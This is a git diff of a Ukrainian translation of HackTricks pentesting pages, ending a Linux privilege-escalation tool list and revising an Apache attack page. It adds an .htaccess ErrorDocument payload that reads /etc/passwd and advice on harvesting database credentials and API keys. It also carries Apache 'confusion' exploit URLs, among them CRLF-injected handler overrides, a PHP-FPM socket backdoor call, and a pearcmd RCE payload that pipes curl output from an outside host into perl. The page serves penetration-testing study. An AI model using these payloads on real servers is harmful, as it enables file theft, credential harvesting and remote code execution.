binaries](https://github.com/ropnop/impacket_static_binaries) -## Інструменти Privesc для Linux/Unix +## Linux/Unix Privesc Tools -### **Найкращий інструмент для пошуку векторів підвищення локальних привілеїв Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Найкращий інструмент для пошуку Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Перерахувати вразливості ядра в linux та MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ -**EvilAbigail (фізичний доступ):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Збірка більше скриптів**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ +**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) ## Посилання @@ -1438,13 +1452,4 @@ cisco-vmanage.md - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) -## Android rooting frameworks: зловживання менеджером-каналом - -Android rooting frameworks зазвичай підключають syscall, щоб відкрити привілейовану функціональність ядра для менеджера користувацького простору. Слабка аутентифікація менеджера (наприклад, перевірки підпису на основі порядку FD або погані схеми паролів) можуть дозволити локальному додатку видавати себе за менеджера та підвищити привілеї до root на вже-rooted пристроях. Дізнайтеся більше та деталі експлуатації тут: - - -{{#ref}} -android-rooting-frameworks-manager-auth-bypass-syscall-hook.md -{{#endref}} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/apache.md b/src/network-services-pentesting/pentesting-web/apache.md index 953b50bdf..d5caa398e 100644 --- a/src/network-services-pentesting/pentesting-web/apache.md +++ b/src/network-services-pentesting/pentesting-web/apache.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -## Виконувані PHP розширення +## Виконувані PHP-розширення -Перевірте, які розширення виконує сервер Apache. Щоб їх знайти, ви можете виконати: +Перевірте, які розширення виконує сервер Apache. Щоб їх знайти, виконайте: ```bash grep -R -B1 "httpd-php" /etc/apache2 ``` -Також деякі місця, де ви можете знайти цю конфігурацію, це: +Також деякі місця, де ви можете знайти цю конфігурацію: ```bash /etc/apache2/mods-available/php5.conf /etc/apache2/mods-enabled/php5.conf @@ -21,19 +21,47 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con uid=1(daemon) gid=1(daemon) groups=1(daemon) Linux ``` +## LFI via .htaccess ErrorDocument file provider (ap_expr) + +Якщо ви можете контролювати .htaccess каталогу і AllowOverride включає FileInfo для цього шляху, ви можете перетворити відповіді 404 у довільне читання локальних файлів, використовуючи функцію file() з ap_expr всередині ErrorDocument. + +- Вимоги: +- Apache 2.4 з увімкненим парсером виразів (ap_expr) (за замовчуванням у 2.4). +- vhost/dir повинен дозволяти .htaccess встановлювати ErrorDocument (AllowOverride FileInfo). +- Користувач Apache, від імені якого працює процес, повинен мати права читання на цільовий файл. + +.htaccess payload: +```apache +# Optional marker header just to identify your tenant/request path +Header always set X-Debug-Tenant "demo" +# On any 404 under this directory, return the contents of an absolute filesystem path +ErrorDocument 404 %{file:/etc/passwd} +``` +Спрацьовує при запиті будь-якого неіснуючого шляху всередині цієї директорії, наприклад при зловживанні userdir-style hosting: +```bash +curl -s http://target/~user/does-not-exist | sed -n '1,20p' +``` +Notes and tips: +- Працюють тільки абсолютні шляхи. Вміст повертається як тіло відповіді для 404 handler. +- Effective read permissions належать користувачу Apache (зазвичай www-data/apache). Ви не зможете прочитати /root/* або /etc/shadow у стандартних налаштуваннях. +- Навіть якщо .htaccess належить root, якщо батьківський каталог належить tenant і дозволяє перейменування, ви можете змогти перейменувати оригінальний .htaccess і завантажити власну заміну через SFTP/FTP: +- rename .htaccess .htaccess.bk +- put your malicious .htaccess +- Використовуйте це, щоб прочитати вихідний код додатку під DocumentRoot або vhost config paths для збору секретів (DB creds, API keys, тощо). + ## Confusion Attack -Ці типи атак були представлені та задокументовані [**компанією Orange у цьому блозі**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1), і нижче наведено резюме. Атака "confusion" в основному зловживає тим, як десятки модулів, які працюють разом, створюючи Apache, не працюють ідеально синхронізовано, і змушуючи деякі з них змінювати деякі неочікувані дані може викликати вразливість у наступному модулі. +These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module. ### Filename Confusion #### Truncation -**`mod_rewrite`** обрізає вміст `r->filename` після символу `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Це не зовсім неправильно, оскільки більшість модулів буде розглядати `r->filename` як URL. Але в інших випадках це буде розглядатися як шлях до файлу, що може викликати проблему. +The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. But in other occasions this will be treated as file path, which would cause a problem. - **Path Truncation** -Можна зловживати `mod_rewrite`, як у наступному прикладі правила, щоб отримати доступ до інших файлів у файловій системі, видаляючи останню частину очікуваного шляху, просто додавши `?`: +It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`: ```bash RewriteEngine On RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml" @@ -46,9 +74,9 @@ curl http://server/user/orange curl http://server/user/orange%2Fsecret.yml%3F # the output of file `/var/user/orange/secret.yml` ``` -- **Помилкове призначення RewriteFlag** +- **Mislead RewriteFlag Assignment** -У наступному правилі переписування, поки URL закінчується на .php, він буде оброблятися та виконуватися як php. Тому можливо надіслати URL, який закінчується на .php після символу `?`, завантажуючи при цьому в шлях інший тип файлу (наприклад, зображення) з шкідливим php-кодом всередині: +У наступному правилі перепису, доки URL закінчується на .php, воно буде трактуватися й виконуватися як php. Тому можна відправити URL, що закінчується на .php після символу `?`, підвантаживши в шляху файл іншого типу (наприклад, зображення) з шкідливим php-кодом всередині: ```bash RewriteEngine On RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php] @@ -63,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php ``` #### **ACL Bypass** -Можливо отримати доступ до файлів, до яких користувач не повинен мати доступ, навіть якщо доступ має бути заборонений з такими конфігураціями: +Можна отримати доступ до файлів, до яких користувач не повинен мати доступ, навіть якщо доступ має бути заборонений при конфігураціях, таких як: ```xml AuthType Basic @@ -72,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd" Require valid-user ``` -Це пов'язано з тим, що за замовчуванням PHP-FPM отримуватиме URL-адреси, що закінчуються на `.php`, такі як `http://server/admin.php%3Fooo.php`, і оскільки PHP-FPM видалить усе після символу `?`, попередня URL-адреса дозволить завантажити `/admin.php`, навіть якщо попереднє правило забороняло це. +Це відбувається тому, що за замовчуванням PHP-FPM отримує URL, що закінчуються на `.php`, наприклад `http://server/admin.php%3Fooo.php`, і оскільки PHP-FPM видаляє все після символу `?`, попередній URL дозволить завантажити `/admin.php`, навіть якщо попереднє правило це забороняло. -### DocumentRoot Confusion +### Плутанина з DocumentRoot ```bash DocumentRoot /var/www/html RewriteRule ^/html/(.*)$ /$1.html ``` -Цікава деталь про Apache полягає в тому, що попередній перепис намагатиметься отримати доступ до файлу як з documentRoot, так і з кореня. Отже, запит до `https://server/abouth.html` перевірить наявність файлу в `/var/www/html/about.html` та `/about.html` у файловій системі. Це, по суті, може бути використано для доступу до файлів у файловій системі. +Цікавий факт про Apache: попередній rewrite намагатиметься звернутися до файлу як із documentRoot, так і з root. Тому запит до `https://server/abouth.html` перевірить наявність файлу в `/var/www/html/about.html` та `/about.html` у файловій системі. Це, по суті, може бути використано для доступу до файлів у файловій системі. #### **Розкриття вихідного коду на стороні сервера** -- **Розкрити вихідний код CGI** +- **Розкриття вихідного коду CGI** -Просто додавання %3F в кінці достатньо, щоб розкрити вихідний код модуля cgi: +Достатньо додати %3F наприкінці, щоб leak вихідний код CGI-модуля: ```bash curl http://server/cgi-bin/download.cgi # the processed result from download.cgi @@ -97,60 +125,60 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F ``` - **Розкриття вихідного коду PHP** -Якщо сервер має різні домени, один з яких є статичним доменом, це можна використати для обходу файлової системи та витоку коду php: +Якщо сервер має кілька доменів, і один із них — статичний домен, цим можна зловживати для обходу файлової системи та leak php code: ```bash # Leak the config.php file of the www.local domain from the static.local domain curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" # the source code of config.php ``` -#### **Маніпуляція локальними гаджетами** +#### **Local Gadgets Manipulation** -Головна проблема з попередньою атакою полягає в тому, що за замовчуванням більшість доступу до файлової системи буде заборонено, як у [шаблоні конфігурації](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) Apache HTTP Server: +Основна проблема попередньої атаки полягає в тому, що за замовчуванням більшість доступів до файлової системи буде заборонено, як у Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115): ```xml AllowOverride None Require all denied ``` -Однак, операційні системи [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) за замовчуванням дозволяють `/usr/share`: +Однак, [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) операційні системи за замовчуванням дозволяють `/usr/share`: ```xml AllowOverride None Require all granted ``` -Отже, було б можливим **зловживати файлами, розташованими всередині `/usr/share` в цих дистрибутивах.** +Отже, буде можливо **зловживати файлами, розташованими всередині `/usr/share` в цих дистрибутивах.** -**Локальний гаджет для розкриття інформації** +**Local Gadget to Information Disclosure** -- **Apache HTTP Server** з **websocketd** може відкрити скрипт **dump-env.php** за адресою **/usr/share/doc/websocketd/examples/php/**, що може призвести до витоку чутливих змінних середовища. -- Сервери з **Nginx** або **Jetty** можуть розкрити чутливу інформацію веб-додатків (наприклад, **web.xml**) через свої стандартні веб-корені, розташовані під **/usr/share**: +- **Apache HTTP Server** з **websocketd** може виставляти скрипт **dump-env.php** у **/usr/share/doc/websocketd/examples/php/**, який може привести до leak чутливих змінних середовища. +- Сервери з **Nginx** або **Jetty** можуть виставляти чутливу інформацію веб-додатків (наприклад, **web.xml**) через їхні стандартні web-корені, розміщені під **/usr/share**: - **/usr/share/nginx/html/** - **/usr/share/jetty9/etc/** - **/usr/share/jetty9/webapps/** -**Локальний гаджет для XSS** +**Local Gadget to XSS** -- На Ubuntu Desktop з **встановленим LibreOffice**, експлуатація функції перемикання мови довідкових файлів може призвести до **Cross-Site Scripting (XSS)**. Маніпулювання URL за адресою **/usr/share/libreoffice/help/help.html** може перенаправити на шкідливі сторінки або старі версії через **небезпечне правило переписування**. +- На Ubuntu Desktop з встановленим **LibreOffice**, експлуатація функції переключення мови у файлах довідки може привести до **Cross-Site Scripting (XSS)**. Маніпулювання URL на **/usr/share/libreoffice/help/help.html** може перенаправити на шкідливі сторінки або старі версії через **unsafe RewriteRule**. -**Локальний гаджет для LFI** +**Local Gadget to LFI** -- Якщо встановлені PHP або певні фронтенд-пакети, такі як **JpGraph** або **jQuery-jFeed**, їх файли можуть бути використані для читання чутливих файлів, таких як **/etc/passwd**: +- Якщо встановлено PHP або певні фронтенд-пакети, як-от **JpGraph** або **jQuery-jFeed**, їхні файли можуть бути використані для читання чутливих файлів, наприклад **/etc/passwd**: - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php** - **/usr/share/javascript/jquery-jfeed/proxy.php** - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php** -**Локальний гаджет для SSRF** +**Local Gadget to SSRF** -- Використовуючи **magpie_debug.php** з **MagpieRSS** за адресою **/usr/share/php/magpierss/scripts/magpie_debug.php**, можна легко створити вразливість SSRF, що надає доступ до подальших експлойтів. +- Використовуючи **MagpieRSS's magpie_debug.php** у **/usr/share/php/magpierss/scripts/magpie_debug.php**, легко створити SSRF-вразливість, що дає шлях до подальших експлойтів. -**Локальний гаджет для RCE** +**Local Gadget to RCE** -- Можливості для **Remote Code Execution (RCE)** величезні, з вразливими установками, такими як застарілий **PHPUnit** або **phpLiteAdmin**. Їх можна експлуатувати для виконання довільного коду, демонструючи широкий потенціал маніпуляцій з локальними гаджетами. +- Можливості для **Remote Code Execution (RCE)** широкі — вразливі інсталяції, такі як застарілий **PHPUnit** або **phpLiteAdmin**, можна використати для виконання довільного коду, що демонструє великий потенціал маніпуляцій локальними гаджетами. -#### **Джейнбрейк з локальних гаджетів** +#### **Jailbreak from Local Gadgets** -Також можливо здійснити джейнбрейк з дозволених папок, слідуючи символічним посиланням, створеним встановленим програмним забезпеченням у цих папках, такими як: +Також можливо виконати jailbreak з дозволених папок, слідуючи симлінкам, створеним встановленим ПЗ у цих папках, наприклад: - **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/` - **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data` @@ -158,55 +186,55 @@ Require all granted - **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/` - **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/` -Більше того, зловживаючи символічними посиланнями, було можливим отримати **RCE в Redmine.** +Крім того, зловживання симлінками дозволяло отримати **RCE in Redmine.** ### Handler Confusion -Цей напад експлуатує перетин функціональності між директивами `AddHandler` та `AddType`, які обидві можуть бути використані для **увімкнення обробки PHP**. Спочатку ці директиви впливали на різні поля (`r->handler` та `r->content_type` відповідно) у внутрішній структурі сервера. Однак, через застарілий код, Apache обробляє ці директиви взаємозамінно за певних умов, перетворюючи `r->content_type` на `r->handler`, якщо перше встановлено, а друге - ні. +Ця атака експлуатує накладання функціональності між директивами `AddHandler` і `AddType`, які обидві можуть бути використані для **увімкнення обробки PHP**. Спочатку ці директиви впливали на різні поля (`r->handler` та `r->content_type` відповідно) в внутрішній структурі сервера. Проте через застарілий код Apache обробляє ці директиви взаємозамінно за певних умов, перетворюючи `r->content_type` в `r->handler`, якщо перше встановлено, а друге — ні. -Більше того, в Apache HTTP Server (`server/config.c#L420`), якщо `r->handler` порожній перед виконанням `ap_run_handler()`, сервер **використовує `r->content_type` як обробник**, ефективно роблячи `AddType` та `AddHandler` ідентичними за ефектом. +Більше того, в Apache HTTP Server (`server/config.c#L420`), якщо `r->handler` порожній перед виконанням `ap_run_handler()`, сервер **використовує `r->content_type` як handler**, фактично роблячи `AddType` і `AddHandler` ідентичними за ефектом. -#### **Перезаписати обробник для розкриття PHP вихідного коду** +#### **Overwrite Handler to Disclose PHP Source Code** -У [**цьому виступі**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) була представлена вразливість, де неправильний `Content-Length`, надісланий клієнтом, може призвести до того, що Apache помилково **поверне PHP вихідний код**. Це сталося через проблему обробки помилок з ModSecurity та Apache Portable Runtime (APR), де подвоєна відповідь призводить до перезапису `r->content_type` на `text/html`.\ -Оскільки ModSecurity не обробляє належним чином значення повернення, він поверне PHP код і не інтерпретує його. +У [**цьому доповіді**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) була показана вразливість, коли некоректний `Content-Length`, надісланий клієнтом, може призвести до того, що Apache помилково **поверне PHP-джерело**. Це сталося через проблему обробки помилок в ModSecurity і Apache Portable Runtime (APR), де подвійна відповідь призводить до перезапису `r->content_type` на `text/html`.\ +Оскільки ModSecurity некоректно обробляє значення, він поверне PHP-код і не інтерпретує його. -#### **Перезаписати обробник для XXXX** +#### **Overwrite Handler to XXXX** TODO: Orange ще не розкрив цю вразливість -### **Виклик довільних обробників** +### **Invoke Arbitrary Handlers** -Якщо зловмисник може контролювати заголовок **`Content-Type`** у відповіді сервера, він зможе **викликати довільні модульні обробники**. Однак, на момент, коли зловмисник контролює це, більшість процесу запиту буде завершено. Однак, можливо **перезапустити процес запиту, зловживаючи заголовком `Location`**, оскільки якщо **r**eturned `Status` дорівнює 200 і заголовок `Location` починається з `/`, відповідь обробляється як серверна редирекція і повинна бути оброблена. +Якщо атакуючий зможе контролювати заголовок **`Content-Type`** у відповіді сервера, він зможе **викликати довільні модульні обробники**. Однак до того моменту, коли атакуючий це контролює, більшість обробки запиту вже буде виконано. Проте можна **перезапустити процес запиту, зловживаючи заголовком `Location`**, оскільки якщо повернений `Status` — 200 і заголовок `Location` починається з `/`, відповідь обробляється як Server-Side Redirection і має бути повторно оброблена. -Згідно з [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (специфікація про CGI) у [Розділі 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) визначається поведінка локальної редирекції відповіді: +Відповідно до [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (специфікація про CGI) у [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) визначається поведінка Local Redirect Response: -> CGI-скрипт може повернути URI шлях і рядок запиту (‘local-pathquery’) для локального ресурсу в заголовку Location. Це вказує серверу, що він повинен повторно обробити запит, використовуючи вказаний шлях. +> CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified. -Отже, для виконання цього нападу потрібна одна з наступних вразливостей: +Отже, для виконання цієї атаки потрібно одну з наступних вразливостей: -- CRLF Injection у заголовках відповіді CGI -- SSRF з повним контролем заголовків відповіді +- CRLF Injection в заголовках відповіді CGI +- SSRF із повним контролем над заголовками відповіді -#### **Довільний обробник для розкриття інформації** +#### **Arbitrary Handler to Information Disclosure** -Наприклад, `/server-status` повинен бути доступний лише локально: +Наприклад, `/server-status` має бути доступний лише локально: ```xml SetHandler server-status Require local ``` -Можливо отримати доступ, встановивши `Content-Type` на `server-status` і заголовок Location, що починається з `/` +Можна отримати до нього доступ, встановивши `Content-Type` в `server-status` та заголовок Location, що починається з `/` ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo %0d%0a Content-Type:server-status %0d%0a %0d%0a ``` -#### **Випадковий обробник до повного SSRF** +#### **Arbitrary Handler to Full SSRF** -Перенаправлення до `mod_proxy` для доступу до будь-якого протоколу за будь-якою URL: +Перенаправлення до `mod_proxy` для доступу до будь-якого протоколу на будь-якому URL: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a @@ -215,20 +243,20 @@ http://example.com/%3F %0d%0a %0d%0a ``` -Однак заголовок `X-Forwarded-For` додається, що заважає доступу до кінцевих точок метаданих хмари. +Однак заголовок `X-Forwarded-For` додається, що перешкоджає доступу до кінцевих точок метаданих хмари. -#### **Довільний обробник для доступу до локального сокета Unix Domain** +#### **Довільний handler для доступу до локального Unix Domain Socket** -Доступ до локального сокета Unix Domain PHP-FPM для виконання PHP бекдору, розташованого в `/tmp/`: +Отримати доступ до локального Unix Domain Socket PHP-FPM для виконання PHP backdoor, розташованого в `/tmp/`: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a %0d%0a ``` -#### **Випадковий обробник для RCE** +#### **Довільний обробник для RCE** -Офіційний [PHP Docker](https://hub.docker.com/_/php) образ включає PEAR (`Pearcmd.php`), інструмент управління пакетами PHP через командний рядок, який можна зловживати для отримання RCE: +Офіційний образ [PHP Docker](https://hub.docker.com/_/php) містить PEAR (`Pearcmd.php`) — інструмент управління PHP-пакетами з командного рядка, яким можна зловживати для отримання RCE: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS} @@ -237,10 +265,13 @@ orange.tw/x|perl Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a %0d%0a ``` -Перевірте [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), написаний [Phith0n](https://x.com/phithon_xg) для деталей цієї техніки. +Перегляньте [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), написану [Phith0n](https://x.com/phithon_xg), для деталей цієї техніки. ## Посилання - [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) +- [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html) +- [Apache 2.4 Expressions and functions (file:)](https://httpd.apache.org/docs/2.4/expr.html) +- [HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse](https://0xdf.gitlab.io/2025/08/12/htb-zero.html) {{#include ../../banners/hacktricks-training.md}}